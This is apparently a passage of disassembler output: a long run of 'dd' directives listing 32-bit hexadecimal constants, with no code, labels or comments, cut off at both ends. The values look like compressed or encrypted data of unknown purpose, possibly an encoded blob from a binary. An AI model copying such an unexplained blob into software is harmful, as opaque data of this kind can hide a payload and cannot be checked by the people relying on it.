156F0B7Ch, 0A15D6B75h, 6C4A9639h, 41614C20h dd 0ACE07E51h, 0F1B1342h, 1BD0B958h, 0B11F5E9Ah, 8A6E2597h dd 5D54137Dh, 43D61FF3h, 582E97Ah, 850FCA0Bh, 660960E0h dd 744C2D68h, 0C79A206Bh, 0C3D03057h, 413716F7h, 89880016h dd 0E9683C20h, 0D99DBC7Eh, 772A46B3h, 47A94FD2h, 5F4A4017h dd 0F1E20F77h, 1038553h, 7560037Dh, 61FAE539h, 0DA081242h dd 4526D176h, 0A09CDDA7h, 535ADC90h, 4A60B4E7h, 1E34100Fh dd 6675CBF8h, 0E348162Ch, 83253EBCh, 1E906F3h, 5709872Bh dd 57254C65h, 17BC63BEh, 68E186BFh, 209501FCh, 0D5837D3h dd 112D0230h, 0FA3E840Fh, 0FB60957Ah, 0D1AC1929h, 0B544DE20h dd 0F8F9AAB9h, 8BA210Eh, 91E6D74Eh, 8593543Fh, 22E58CBEh dd 30013925h, 5EE807Eh, 98B0F3Eh, 5D389142h, 0EBF194B0h dd 74CE2FE3h, 24F3D038h, 725582h, 8EF90145h, 522C2728h dd 1FF6A527h, 0E7AD8349h, 102B583Bh, 1F058910h, 3A8BC588h dd 221E665Bh, 68130FDDh, 5B3276E5h, 4D8F4051h, 67C20632h dd 0D4F3558h, 51E584BFh, 9FAB00EEh, 5F5BAB11h, 782B3B8h dd 673838DAh, 580942E5h, 1AFD7D68h, 74A70480h, 995BADACh dd 39EFF01Eh, 0C3FA2097h, 4ACA56E3h, 4A258A1Ch, 6A7CD081h dd 0E0A5EF04h, 0A84F44E8h, 963F2ADh, 5B3FBF3Bh, 2900F656h dd 37FFE9FEh, 804BB401h, 4768555Dh, 605A127Dh, 0BFF7FF28h dd 0C30B4F78h, 167AC83Dh, 1A85A00Fh, 727D272Fh, 7531A1F8h dd 0D3F7625Bh, 3C57F140h, 0BA735CB8h, 401A5812h, 1F9BCB1Ch dd 24DD6C1Bh, 256D04BFh, 60EADE89h, 646FC64Eh, 5710BC18h dd 305D2A6Ch, 700C2F3Bh, 124E6549h, 2C828A03h, 0F3FF00DCh dd 30693E6Eh, 892568B0h, 0C36859EEh, 33024E7Eh, 13B25BEFh dd 7900FD58h, 3A4CEA2Dh, 0CFE92C1Fh, 0B6BF2634h, 55277D74h dd 0F50229AFh, 0E6B50F1Ch, 6A982E3Fh, 66E906EFh, 0AA2553CDh dd 167B981Eh, 204F2526h, 0D08F00DDh, 3A0A8605h, 9D8568A7h dd 0AFF4F80Ch, 3615B787h, 0D39DCAAh, 62E8215Bh, 0C843DCCBh dd 0CE083026h, 93E87D0Dh, 274AA4E8h, 4A2205C9h, 510B42D3h dd 0B0DD4953h, 1394EF0Fh, 1A554367h, 80128B5h, 26AB98E9h dd 0D168096Fh, 0C92FD64Dh, 6947B100h, 0B0956F0Eh, 0F6398217h dd 0AD095E03h, 0D2B35004h, 6E0A0518h, 0BD7C1A6Ah, 75E8AEC1h dd 23077B89h, 28A733EBh, 926496EBh, 46622580h, 4FBDE6D9h dd 3BBA2D01h, 0E06E4739h, 0E0939D49h, 69211788h, 9D0366D5h dd 0CA66C7D4h, 646B970Dh, 3161CDCCh, 55CA2A74h, 0A3DE018h dd 631776B9h, 241F2096h, 0B531D17h, 2847C904h, 6900AF12h dd 6ABD7F91h, 0EBE59D4Eh, 5F457D97h, 3F81E6C1h, 516D2672h dd 0BD00AAD7h, 22307AB6h, 0FFF74B89h, 0C724C179h, 0AA291448h dd 0D100C762h, 0A9BD55EAh, 92907A70h, 0A9C07720h, 0E189BF31h dd 0B079CA35h, 1B0A688Ch, 634F5E99h, 0CBC2597Bh, 0AC4FA464h dd 3A356AF0h, 0BFACD7C9h, 0CBC11C83h, 805D595Dh, 2F49F651h dd 1F4B003h, 4B3E2A7Fh, 9CA2F5E9h, 7900F7C5h, 890F5EF4h dd 8E97548Fh, 0DE0348EFh, 5A0BD120h, 5C08C380h, 0A5130AA3h dd 0EE5A4CA1h, 0A03075F8h, 6BD0C43h, 901A4A2Eh, 82A5F429h dd 38C77897h, 0EF4B879Ch, 80535E61h, 0C2FF242Fh, 847F6746h dd 0F6D0736Dh, 9C786E68h, 281D60AEh, 0D104137Bh, 948E9E3h dd 0B25FECB8h, 0FE5BC0C3h, 5FE9E87Fh, 3157097Bh, 2764027Fh dd 1E98DD0Bh, 0EEA5B55Dh, 361C2637h, 0A4F25029h, 3F5A7360h dd 0A8135E39h, 0C884D296h, 0D7177A64h, 8DBC0149h, 0C8B850E0h dd 4C6C4Ch, 0DB317005h, 4B95120h, 292B4F63h, 4035C021h dd 0E3C2535h, 0C5257201h, 9B1FD58h, 4C312B5Ah, 0B63888E9h dd 93AA041Ch, 4E46B36Ah, 0E9124CE2h, 0ACCBB0E3h, 84EEBECh dd 4885C8ACh, 0D6CEABD0h, 9F05FC4Ch, 0C5215452h, 7BB200D3h dd 0AD5CE927h, 0A48528D6h, 7193F1ADh, 74E4E955h, 0EA3C8076h dd 0FCAF187Eh, 4BE5BF10h, 90581C26h, 2AB90EC2h, 317BC21Fh dd 0E96690CFh, 0AC955A71h, 5FE6DF2Ch, 5DCB6149h, 585FA33Eh dd 6075876Ch, 2DAF160Eh, 42DC118Ah, 11B9002Fh, 4B71E25Bh dd 0E99B3829h, 2CD615F8h, 95860ABAh, 662F38D5h, 68507054h dd 314F5F15h, 0C20AAE55h, 2084D377h, 56C295A1h, 0EF8B7EBh dd 0F087F27h, 25F3FB8Ch, 8006595Eh, 429BE6Dh, 582F8EF5h dd 8F58A914h, 3D4A463Fh, 0D960B22h, 57AF5148h, 0F76F901h dd 6D0C8739h, 2D90EDCFh, 48BE1F70h, 854F614Ch, 0B0570191h dd 7F4E4860h, 4BD54382h, 619BE01Fh, 352E0543h, 0C2E403E2h dd 0C159C14Eh, 21506881h, 25603697h, 1B93977Dh, 5DAADE0Eh dd 0E9943874h, 0D40995BBh, 8EF618C6h, 0BD93ED9Ah, 50D65C69h dd 0F5214226h, 0B082020h, 78406859h, 916374CAh, 0AA46BB82h dd 875BD81Fh, 62B87127h, 0D109EB08h, 335B1A04h, 52A49704h dd 0BE1124BAh, 26ED17CCh, 6749010Fh, 440C73B3h, 803845E9h dd 4D94C1B9h, 0CB5169AEh, 4114854h, 35AF62ACh, 0B59588E3h dd 5735A8ECh dd 0BDE64486h, 804A095Ah, 0C43F7253h, 5D91F802h, 25765045h dd 86C60DB9h, 0ADCBFC54h, 53D83117h, 789E3D20h, 814F017Bh dd 0E53F0EE7h, 80357161h, 0C7ECEF12h, 1601BE9Eh, 8486E9FBh dd 5409AB1Ah, 50349092h, 336CC038h, 54685B13h, 78DA1953h dd 0CF79AE0Bh, 0BAB8964h, 20F72A7Ah, 5F985725h, 0A79A48CFh dd 265FF10Bh, 25A70284h, 2FDF09D5h, 2FF388E6h, 0B869DA02h dd 5E80B148h, 0D22B5164h, 0B5C5EDDCh, 0F197CD44h, 37F14B59h dd 68F9F740h, 41726382h, 7416F169h, 86BD5854h, 4CB9CEE0h dd 0CB0135Ah, 0B46705BDh, 0E012E948h, 28045855h, 96C680DEh dd 500037CBh, 0CE2C27B0h, 0F4E52334h, 6A551FE9h, 70B9DB94h dd 268F6E4Dh, 6810984Eh, 7B367326h, 4FDA85C3h, 2BC98910h dd 6817D94Bh, 1DE1EB86h, 81CADB66h, 642939C6h, 42FDCE09h dd 5B0806AAh, 27E2991Eh, 80C31BFCh, 0A94C5E7Ah, 41603D9Fh dd 0D1F97042h, 79BEC0ACh, 744B3767h, 433C8280h, 4F5BB00Dh dd 81A4023Dh, 83EFFB7Dh, 0D3F75E01h, 973C9DE9h, 1701CA58h dd 311AF374h, 0E619F4EBh, 73BF73BAh, 8182E96h, 5C1DFD3Ch dd 33491D8Bh, 0EF34F93Ch, 0B40BD379h, 0FCE40126h, 873CC8FBh dd 890C5B5Ch, 2DC3C0C3h, 304C2CE6h, 0F5889A82h, 5CA73C76h dd 304F5C2Eh, 660552F6h, 0AE551368h, 83D2B223h, 0A352E4EBh dd 4A0288B5h, 99331F32h, 3E588A2Fh, 99C209C4h, 6AE0FDD3h dd 0F782E407h, 1E42CCE2h, 2E81C1ADh, 0ACE4B2E9h, 7AE9B0DDh dd 3CDBBD6Dh, 0D53A6009h, 0E913F6E6h, 1402E05h, 0CE2AA8C3h dd 5A589F37h, 0DB33D409h, 410A044Bh, 5B8D14h, 57D2BAFEh dd 81020E22h, 2D3105EAh, 800DF97h, 0D7513935h, 0D9462861h dd 0B470C236h, 405F01F8h, 0DFDE592Dh, 0EB906A83h, 33030EE3h dd 97841E14h, 9A1CB583h, 0FD27DE5Fh, 1440C132h, 2CE16851h dd 2BBF4BBFh, 41344ACEh, 0E66BCC0h, 1A2276B5h, 3FF6855h dd 22E2E241h, 2DE3D098h, 0EA30D268h, 0F3705A8Ah, 907D095h dd 0A34B66E9h, 9F87D68Eh, 15B0F895h, 8DB90751h, 0B217BF60h dd 67F57ACAh, 35768570h, 4710903Dh, 2A94A7E9h, 66E83002h dd 0ADBE5559h, 18F0962Dh, 9FE75340h, 0B3A02064h, 73BDD1B7h dd 5079A7D4h, 5453D309h, 1372A6A9h, 265ADE7h, 2A0A37EAh dd 0C235452h, 0BD2BFAC8h, 0C63D30ECh, 41D69B0Fh, 4811C197h dd 0E6016F9h, 54618225h, 0D378573Bh, 6027FAA5h, 0F43BFF5Ah dd 1F4FA0FBh, 70016EECh, 294E3459h, 0E8002FEAh, 1B5E712Eh dd 0E84207B8h, 612D32D5h, 0D4075D58h, 897667A3h, 8038E927h dd 2BDEBAA6h, 0C15E13D8h, 0FE9D09EAh, 0B2DF550Bh, 56A2C1FAh dd 0BC05D2F8h, 12864A96h, 563732C9h, 98D03655h, 8146BD47h dd 296002F0h, 8097B34Eh, 38C673E3h, 0DD3F76F3h, 956FB296h dd 4916FAAFh, 775E54D2h, 985D4CECh, 0DCB40211h, 0FE58E528h dd 0FB630CDFh, 7277B018h, 69404D4Ah, 0FE08C8EEh, 0DB78BF60h dd 0E908C650h, 26EC0630h, 0E71AF680h, 5BB7D6F8h, 13BEAC54h dd 5C03C7FEh, 0FAEAD03Ch, 79F160F2h, 3C5D8116h, 0CC4B17Ah dd 8928B27Eh, 5F326091h, 1041B547h, 0F484C36Bh, 64301CB8h dd 2E851C77h, 0C7BBCFA7h, 3D9CDE82h, 7E808AFFh, 0E38AFD05h dd 0BD7621BBh, 0E78192AEh, 0EBA489ACh, 60292998h, 0D6C95BBFh dd 4D50030Ch, 4A691EF4h, 0D1C4059Fh, 7E918EAFh, 0A0B19F5Bh dd 61595DA7h, 2611E5C3h, 742D1DBh, 75C37BBAh, 6781FE01h dd 1304E58Bh, 42D788C4h, 760AAA69h, 145DD245h, 0D7279F2Eh dd 0D834C568h, 12E54B42h, 407274F7h, 51F333DCh, 687F64C3h dd 3AE9E8BFh, 0C37BC046h, 0A95A29D5h, 21796CD5h, 2752511h dd 4903836Ch, 2E2ACF8Ah, 0A9FE3AE7h, 5F65A8F3h, 9EB5FF0h dd 5BE20768h, 0D12C0785h, 6DF83110h, 7E0858A2h, 0F1AEE61h dd 2EB4387h, 6869050Ch, 60F51F27h, 0BD5DE935h, 87F5BD09h dd 0D3D3359Eh, 0D0F460BCh, 3403427Dh, 474AE916h, 41145BCCh dd 89812F32h, 0C2EB512Eh, 0C694C811h, 7C751EB4h, 0DDE0CC28h dd 6905F1EBh, 894B02B7h, 6EC1EE17h, 0C3BBD756h, 76AA7C27h dd 0FC70073h, 8B7ECD1Ah, 22BD145Eh, 667789A2h, 0C41278Eh dd 3FFD9866h, 7157B262h, 73FF62A8h, 165E44FDh, 6FC2546h dd 4E4AAA27h, 2CB45012h, 8BC94EB1h, 0B6111A96h, 0D091270Bh dd 247BB5D4h, 22BE6801h, 97201043h, 6ABC4133h, 0FF07D4C3h dd 0A28D3FD5h, 136EA63Ah, 66D70158h, 7DB83575h, 7EDC009h dd 0AB6D9D04h, 3016A3E2h, 6620BFCCh, 5DFC059Fh, 0B7CD791Ch dd 5E639E6Fh, 0DA40B653h, 4A3DF168h, 6A7984Fh, 0B5C213C7h dd 0D24178B0h, 0E302331h, 29505E60h, 3706DCA4h, 0F1E93009h dd 0EEA9F7E6h, 0B7FB8700h, 0D70E2811h, 0A1F02C5Ah, 90D8E9F8h dd 2B24696h, 6AB050D4h, 3ECB4F61h, 8F801A25h, 7E470548h dd 0A10C5B6Bh, 0E11578F4h, 5802BB2Bh, 1659717Fh, 80E0C036h dd 2EF0AFC4h, 0FEE82F7h, 0F20E358Fh, 29CC0F97h, 0CC9D3B42h dd 34C0FE63h, 2BF955Ch, 1771C6C9h, 0D3F8C331h, 84375B3Ch dd 0A9A91601h, 7EF01FEh, 291FDF20h, 24BB017Fh, 7050C735h dd 1717F5A9h, 80BD4557h, 42D9B117h, 0B5B6876h, 100C6BECh dd 546C735Eh, 9C0126C2h, 50470A52h, 0F1D99FD6h, 29BD6F9h dd 0DF45F75Fh, 0C1766A2Dh, 0FE60D679h, 6B09D32h, 0E3014A6Eh dd 0E1E95746h, 0C7390135h, 1E3A6809h, 0B09DB3D1h, 0E974FB41h dd 0FF058AB8h, 64A8180h, 4E507CE8h, 0BABA1713h, 11F13A21h dd 7A35A63Bh, 9135392Fh, 0D76057A9h, 817B13EFh, 4C350848h dd 7904C689h, 6D6863E3h, 17215ECDh, 0E9FA4218h, 2052D167h dd 0CF8B8584h, 8478AFF2h, 1520BF03h, 0F3526E31h, 0C0A3E9FAh dd 5B9F312Bh, 0BF108F63h, 93D70647h, 66865CF4h, 19AA8D9h dd 3F419168h, 0CD7AF3AEh, 3B2CE535h, 4027B693h, 4041FD0Bh dd 0D80BB959h, 1070BD07h, 3057567Fh, 890C47F5h, 5D27ADDEh dd 986EE309h, 5C582972h, 0E04521Fh, 0FE97C847h, 49E91507h dd 0A48D0185h, 7E189633h, 502D0E13h, 25BD1024h, 13CC840Eh dd 1CD8CFEh, 7D833ADFh, 7851A73Bh, 0F1B72D1Dh, 2E8EE368h dd 2911C117h, 758A6D04h, 0FC5FE00h, 0B464258Ch, 0E4909675h dd 0E104B2Dh, 800F1EB6h, 0DB79DD0Bh, 40CE8B62h, 18D8E353h dd 6C74986Dh, 0EF28BE7Ch, 0E91284AFh, 9135E651h, 6EB73C02h dd 0EFB46197h, 4F8D282Bh, 0A876812h, 7806DEA3h, 0A00EE256h dd 5FC004FFh, 0C9CEFE58h, 0C822C0Ah, 0F2E642D0h, 5AF48805h dd 4E8589E9h, 0E4A11224h, 0F72E7F60h, 751FC233h, 0B975AD09h dd 3D7E6Bh, 7370B14Eh, 9FFD1001h, 1736BE40h, 941067Eh dd 0AAEE8A25h, 7957681Ch, 0BC3A552Dh, 9A7EECDDh, 0E8407BE7h dd 0BA58C103h, 426B964Fh, 9F505D3h, 7BFBEEE4h, 2D7EE98Bh dd 6EC0A653h, 0F8D3898Ch, 930B6EAEh, 0DB464D09h, 0B95A8730h dd 0F7975C9h, 860F21CBh, 3A5233E9h, 849DA659h, 26F35453h dd 6D84E54Ch, 0EA33A4F3h, 0BD598E40h, 17E69BE0h, 530A231Ah dd 904F592h, 0AA7E855Ah, 51B02509h, 0F08C3FC9h, 5E08AC8Eh dd 0E0BA2D05h, 0D2AEEBA2h, 6BC02BB0h, 0B8807137h, 0ED2628F6h dd 0DE2E5DD5h, 6CA811Eh, 0C4DDE0Bh, 0A226BD0Fh, 22F28E38h dd 55117021h, 5E13F8A0h, 92BE6C8Fh, 0F5ED8309h, 505A0216h dd 9A995BADh, 4E25929h, 0E10AC894h, 0EECDD594h, 138BE82Eh dd 0B6EDEA3Ch, 8A84FF27h dd 0E106BF21h, 7F10076Dh, 23E49552h, 2698BFB0h, 80013196h dd 0F9303AF7h, 7EC9E670h, 0B777EC03h, 956CCC98h, 0CB84B7DFh dd 39880131h, 6BD98333h, 48A37F4Ah, 169FE30Eh, 0DD37FF7Fh dd 15F3B187h, 0B902F142h, 47E6F928h, 1F26DECh, 3447DF5Ch dd 0A6C04973h, 0B685256h, 0E9322EAh, 0AB4FCD8h, 0C40CC196h dd 5F65E826h, 0F0C59846h, 0BD9C564Bh, 0E0D94EFh, 5404840h dd 797C1E21h, 0BFCE94BFh, 0E1082253h, 1EE90459h, 2D9BCBE6h dd 0BBE7BF3h, 832B232Ch, 70755512h, 4D113018h, 2EC3801Ah dd 6BC806CFh, 5FA1D053h, 139EB65Dh, 8EA13668h, 4E6FCA2Fh dd 0A44ED2BCh, 0A6057F1h, 76D70D58h, 0F7D0F6Ch, 165A8583h dd 125C2584h, 0D44B89EBh, 2D00ADF2h, 714142AAh, 3A698F05h dd 0C8805F5Eh, 0E92CBA30h, 219F9915h, 2718A2F8h, 0BEA81C4h dd 12101C5Dh, 0EBC06BC3h, 79081E6Dh, 250E54E9h, 2B09F40Bh dd 0EB1E6772h, 344E4DA3h, 41B8D401h, 0EAA82E08h, 0B81F96C4h dd 2247C49Ah, 0D0F5B2D2h, 5870E915h, 28C761D5h, 2AA98D0Fh dd 565C0Bh, 9D51310Dh, 0E3C09D0Ch, 0BE9AABF7h, 0A768AFBCh dd 66463EE2h, 286825EFh, 59978F71h, 4F528B9h, 864EB048h dd 0ED120C1Dh, 9804F312h, 95D16515h, 0AE141974h, 9D10E844h dd 7340BA00h, 12983368h, 978CC40Eh, 2BC5C0CCh, 4E6DAF55h dd 16F48401h, 8261E908h, 0A0013FC3h, 0C93EEED3h, 974A7168h dd 0E1317440h, 15C2A2C2h, 3BEFDE47h, 8E880F01h, 69D32948h dd 0BEF4D826h, 0D65102ACh, 66FE681Dh, 15824F51h, 555D0970h dd 0C60A4FD0h, 0AB352E9Bh, 0B6CBEE00h, 9F29D8B7h, 25EA06C0h dd 0E4074B95h, 77FA14D5h, 2E634B5h, 4BC1870Fh, 4A4BDA00h dd 4E6057D9h, 599A2A60h, 34CAC633h, 0AE104BDBh, 0A62C4B1Eh dd 0A3A4412Ch, 68037FC4h, 5916436Eh, 0BDEDDE9Eh, 8F530809h dd 0F8CF6B00h, 374C6E2Eh, 4F06133Fh, 4FA94356h, 5F621827h dd 0AF3C5B77h, 64B48FBh, 76CEECCh, 28729C35h, 0EBA1A573h dd 7BCF4990h, 46B3B4Ah, 24C4E701h, 0D8D13C63h, 0C830E94Fh dd 3DF62967h, 2B152C6Ch, 0D7489F16h, 0AF5DC5A4h, 6DBDCB12h dd 2032294Eh, 68125570h, 81A330B0h, 0C6431C06h, 9C446815h dd 27AF09CEh, 0B10E4B4Ch, 59689EABh, 40063993h, 97F58175h dd 0B842B50Dh, 2F3DC557h, 9920B2E4h, 97419F28h, 3E093851h dd 2F8A92C2h, 0C42C7FA4h, 0B2435090h, 94F27716h, 842E665Dh dd 0C1404697h, 534A72B4h, 1EC40CC1h, 0E37B56F6h, 1BD31201h dd 54E111F8h, 0FCDE8858h, 0C53178Eh, 0C92FD370h, 2B3B41F6h dd 0F60E7C1Fh, 0A421F55Dh, 46871C29h, 94E1558Bh, 6BEF61CDh dd 1FD9F301h, 0C5408F0Bh, 4C1C644Ch, 0A5047126h, 0D7066622h dd 3408EA79h, 5D14011Ch, 4C28A068h, 604AB1CEh, 0FEB1DEFCh dd 9E452F1Fh, 0E4A2A3EFh, 7C185758h, 2B2D126Ch, 21E741Eh dd 14B5DA9Dh, 8B806AEh, 0C6FAE75Bh, 5C8F5701h, 51A0EE80h dd 802AB735h, 0F41536FAh, 94C8214Eh, 2B551DCDh, 9E87BC0Eh dd 0F72CBFF6h, 0D0B1D4CBh, 0ADB68BDh, 48B5719Dh, 716827B4h dd 535F03E8h, 2DAA2725h, 6B142B50h, 94E000CDh, 0F8313314h dd 0AB4F2DE9h, 36C5DA18h, 8DEACEBAh, 0A0B3E417h, 0BB4854ECh dd 8810B716h, 5A256858h, 0D49C1814h, 73E30452h, 8015E10Dh dd 2AAE058Ch, 0F4DAC02h, 5662E88Ah, 548D42F0h, 0A38068F8h dd 7AC1333Ah, 0BF6E8CB9h, 78B3BE42h, 5272B41Ah, 35352CF2h dd 6BA9352h, 10EBBB2Ah, 2F9DCC95h, 0E1D35966h, 17DB0B08h dd 8F9004F7h, 0E660F3Bh, 0C9A872D3h, 0EA2E9077h, 20BC954h dd 4CB71F82h, 0EA8BC120h, 0A1084F7Bh, 6E1C6506h, 0E993EDE2h dd 0EA3610D8h, 0C6705B25h, 248EEE6h, 0B703CF4h, 0E01E7E5h dd 28E88DADh, 956E5D30h, 51FCDD46h, 1F307A4Fh, 376F2Ah dd 88CD817Dh, 0D128DE0Fh, 0EC9EED50h, 0AB734082h, 4AB213C2h dd 0BC6B8131h, 0B846818Ch, 53A531Ch, 601E7D30h, 0DBE3DB61h dd 3727A918h, 8ABA564Bh, 0AF92C264h, 4B500A61h, 8B247CB4h dd 0B88A5CDAh, 57895E35h, 0C647FF50h, 5870E98Eh, 91016C39h dd 0B6528078h, 8027B31Eh, 0E972EB09h, 0F7DFABF9h, 0BA87BC83h dd 0CF750B87h, 5DEF8C85h, 4741EDBAh, 6D54D489h, 620A7C45h dd 7A89C0F4h, 8E13511Ch, 0BF13EAECh, 0FAD0CDD8h, 0A9675F74h dd 0D7BA933Dh, 2F1B126Eh, 0C24679D7h, 8A49A8E4h, 0DE6F4DEh dd 65CA590Ah, 1A09894Eh, 56D59801h, 58C688E6h, 8FD6617h dd 526030A1h, 78142E99h, 111814Ah, 0DD0F1767h, 62A6AFEFh dd 0A256820Bh, 258190A0h, 0C7CD88DCh, 0D5B45E28h, 0ED920DF8h dd 4F684B09h, 20E4E638h, 0FE07369Ch, 0B9CB80C3h, 48E0E334h dd 582B4AF6h, 79A62CC6h, 975D5480h, 0E92A7F3Eh, 0EDBDA386h dd 192A8E32h, 57CEEA16h, 0BFC1E90Ah, 0AD9DEF22h, 56F0076h dd 4EEDCF2Fh, 0F13C970Fh, 8EB40037h, 1105EEFh, 800A5888h dd 3E0017BAh, 814A39FEh, 3541BEAh, 830F3BD1h, 7F1CA43Fh dd 4A385508h, 0E9652CAAh, 0A71E7825h, 0BA8205C5h, 1A8890FEh dd 1ED74863h, 174EE82Fh, 0B0429907h, 8869293Eh, 0E90B08E3h dd 5949E250h, 0C45EAD46h, 0E0B68649h, 0FAC71C63h, 7F5D5B6Bh dd 9A0D1203h, 0F001FC99h, 951F75E9h, 1C17CE48h, 36298224h dd 7AC74906h, 73C1000Ch, 0E956EC4Eh, 8192D80Ah, 0B55DEA24h dd 58977E49h, 444921E9h, 8F0F0928h, 8AFCAF52h, 0E2014F0Eh dd 4F797F8Eh, 60860D60h, 8CF28B02h, 0BE986903h, 0B8806EE6h dd 8618151Fh, 5ED3B0h, 1E8B25BCh, 2D005479h, 60AF5B07h dd 276EC335h, 48A0AFFh, 53013F82h, 0E51F23BBh, 0C305207Eh dd 41EB85C0h, 0C456CB25h, 0BFFFB70Ch, 34889A81h, 4FBF4F34h dd 0A4528C14h, 2E1A5605h, 0A5905CE9h, 0BEF0315Ah, 2114205h dd 0F63292D7h, 71D51897h, 3E1407E3h, 5F21923h, 162D77D0h dd 1343287h, 40C571AEh, 25F1C224h, 1B69C70Ch, 5756409Dh dd 2940A095h, 0CD4E7D19h, 2A0D25C8h, 0D9BA1812h, 1596CEAh dd 32A93757h, 4A8DAF7h, 4A15168Bh, 7F4BBB4Eh, 62250046h dd 9D2AC949h, 7CFD5940h, 0D9E53B9Fh, 0BEA63B95h, 86D1879Bh dd 0A4BD6155h, 0EDAE6041h, 3EC50340h, 0E1DF21D7h, 3E2DF4ACh dd 56B8737Dh, 0EC505F6h, 0AC4C27E9h, 0F858AAF7h, 3C303F72h dd 96870F8Bh, 0B02D7E60h, 66A33912h, 0ACB9C804h, 0C4843500h dd 4C9CABDEh, 0A7A1D9C5h, 183BA22Ah, 68B41901h, 8C515BABh dd 1BA03800h, 0DC97EAF1h, 0D6E7C2ACh, 58D5EED5h, 0DB174D30h dd 60E8DD90h, 0D6726F99h, 0DA9989Fh, 488AF6F2h, 5F188E50h dd 0F6058A08h, 0A256D914h, 0C7945Eh, 3C9C63A7h, 0E97F800Fh dd 0FCE1524h, 3A5807FEh, 1A898C83h, 0E054B710h, 68525F02h dd 0AFC66BB0h, 8B382590h, 36ACC12h, 4332E2CFh, 0B1F7B044h dd 0BA2A6949h, 0AFBB827Dh, 0B6A257D7h, 0E744C3D4h, 0FBDB8A18h dd 25BBE39Dh, 0D77E1F59h, 5ED42A12h, 40DB1C82h, 0EF5D756Ah dd 0EC2A04FDh, 9104E524h, 27EE5E6Bh, 0F0638273h, 30DEC048h dd 8539D9CDh, 4A310FFCh, 92C0ED01h, 0DE530C1Fh, 0FBCC52h dd 0FDC981F0h, 4B600772h, 3E28D692h, 9B3901Ch, 31F93969h dd 2DE4257h, 78E3E908h, 88535B88h, 5045BDAh, 4F5E5169h dd 75410AEh, 0E1E98562h, 9440556Ah, 0C0B22033h, 402E025h dd 0B0C325D8h, 9AE9A8DCh, 4E93BD22h, 0A9DC96C2h, 0B18CB200h dd 0D130E4h, 0B450665Ah dd 0D2ABE9BEh, 0D0E6B8A8h, 400A7E12h, 0C0C0CE0Eh, 0FFE920EBh dd 33E7BDE8h, 0E9049826h, 0A9E61B28h, 0C2C7502Fh, 96A42916h dd 284BBE40h, 0B0F54952h, 81E3D100h, 0DF702DF3h, 64E93C1Eh dd 0BA3CEBA5h, 75516A30h, 316E6BECh, 73C4968Ah, 20BE0812h dd 52D92917h, 4A685001h, 582F6937h, 9AB9B54h, 6D115169h dd 352D2B4Dh, 0AF6966D1h, 0E76B9C0Ah, 7EDC0CB3h, 0D305EB2Fh dd 1687937h, 8C3F70Ah, 71138809h, 82EE4A64h, 84E95452h dd 973AEC56h, 8FB39A13h, 0BC4F425Eh, 0EF01D556h, 0BD2B0132h dd 0ED619378h, 836CBEE9h, 89565C04h, 2F44F1D6h, 0C58160D5h dd 0CCE3E35Bh, 5F95F3FBh, 81E519ACh, 6A314502h, 4E6DA1A0h dd 41FA312h, 69B8592Dh, 0C13C80FAh, 34A1023h, 6FE22DEBh dd 0F33F76A0h, 5F786233h, 48CC0352h, 4638E8D1h, 1F659218h dd 0E9EE5F80h, 777E18C6h, 0D80DC831h, 19091400h, 0C0400805h dd 0D8D0B7A0h, 84C1F9B7h, 0E31DC468h, 57150524h, 0B1E05259h dd 406F1238h, 0E1E8174Ah, 33F27A5Dh, 6CDD0CC9h, 5CFAB5FEh dd 722CF727h, 0D033A2E6h, 0CE29164Ah, 1059E959h, 5827DDFBh dd 401F0540h, 0FBED727Fh, 1D48DFCBh, 5152544Dh, 2CA16815h dd 705A785Bh, 0C0E7B15Dh, 1E96B918h, 92214066h, 9807542Ah dd 12757304h, 0E6E1C12Fh, 55378938h, 0DD6810E1h, 69F83D59h dd 3840379Ah, 20E4F855h, 682DD3AEh, 0F1FA46BDh, 3AE7E12Eh dd 8EB4F8A9h, 0BB42B8h, 5B6B6FADh, 49E95157h, 5E011F0Dh dd 7A32EA81h, 0F6E3F64Bh, 884C2C2h, 93B7B25Dh, 8F35FAB2h dd 6086A116h, 9275B5Ah, 5ADD7CC1h, 44D51842h, 63A7848h dd 5DE9FFCFh, 56B52018h, 89EA0EB4h, 0BB94ED65h, 0ACC5F5C3h dd 0BFA464E8h, 0E9590520h, 41354BB4h, 3D27C2DBh, 3C63044h dd 0E81630F9h, 0B2056900h, 50B7FEA7h, 158025Ah, 387FE9D3h dd 0FAB2E2CCh, 4C221A3Ch, 7341777h, 19AE1660h, 8A0650DEh dd 0A06A0566h, 0F6D031B0h, 0D1C6266Dh, 0D73D6A27h, 62645080h dd 8948703Eh, 47E55FBCh, 1E71A930h, 0C8451D44h, 4D09CD73h dd 62BE0053h, 0FACF14F0h, 152B23Eh, 0FF7A6DBDh, 7AEE291Eh dd 2A40A144h, 14ECCAB0h, 0ACE32854h, 585B7A20h, 9ABBD8E4h dd 0E7C11765h, 0C4011E05h, 0FFBE5A46h, 0B3BF6EC4h, 4ECD203Eh dd 685E04F5h, 0B646A413h, 1056D40h, 49401435h, 402DE801h dd 0F0295D07h, 28314EC0h, 7056F6Dh, 7DAA525Eh, 537006E9h dd 0AF4A6624h, 0D0575263h, 5C924922h, 88274864h, 228B2F4h dd 3EC1304Fh, 81000A91h, 0AF04B7F1h, 0C8296009h, 0EAE8DC85h dd 2C35A2Ah, 0FDDD9505h, 0B05701CFh, 4E17E931h, 7980B366h dd 2674F320h, 4286DE86h, 1E08377Dh, 850F4040h, 88BAF0h dd 591EC70Dh, 0E02D0523h, 0C4940425h, 34A3B7CDh, 0EE843313h dd 0F0125FB7h, 0EB5B21D3h, 6048F931h, 7CB70583h, 255A80CCh dd 699149A2h, 240C2D7Bh, 56561A97h, 59C2E117h, 0D1920BC1h dd 68420A76h, 77B0B2A5h, 3D3FCE30h, 0F1FB980h, 4146AD07h dd 97D2A46Bh, 0D86FC126h, 0B96D0BC0h, 0C0830041h, 433B05FFh dd 5E97264Dh, 7FF5F1B6h, 262D4E00h, 0BFE894D1h, 903F3D79h dd 8725A8CFh, 29AD0274h, 24745070h, 991701E9h, 28584C5Eh dd 315CC6EAh, 6D307E32h, 20B1FD14h, 0AB40136Fh, 6287790Fh dd 0ECF19131h, 2E55BE00h, 0E755FB6h, 0F8365FB7h, 0EEE91301h dd 0F48040C0h, 0E7882636h, 909822D2h, 1ADF04DDh, 0FE012C23h dd 5E089810h, 58427029h, 4AD1C6D6h, 0CE28EF52h, 31215BA5h dd 7D2279D1h, 0C2A35040h, 0EDE251Fh, 0B8491653h, 0E978FC5Dh dd 0A1259174h, 0DF06B5EDh, 9D236770h, 0AE5C9F05h, 417E8BE4h dd 62A83BD0h, 0DF31FB39h, 0DC874F08h, 6AE5F8E9h, 5058428Ch dd 885F1F19h, 0B317E281h, 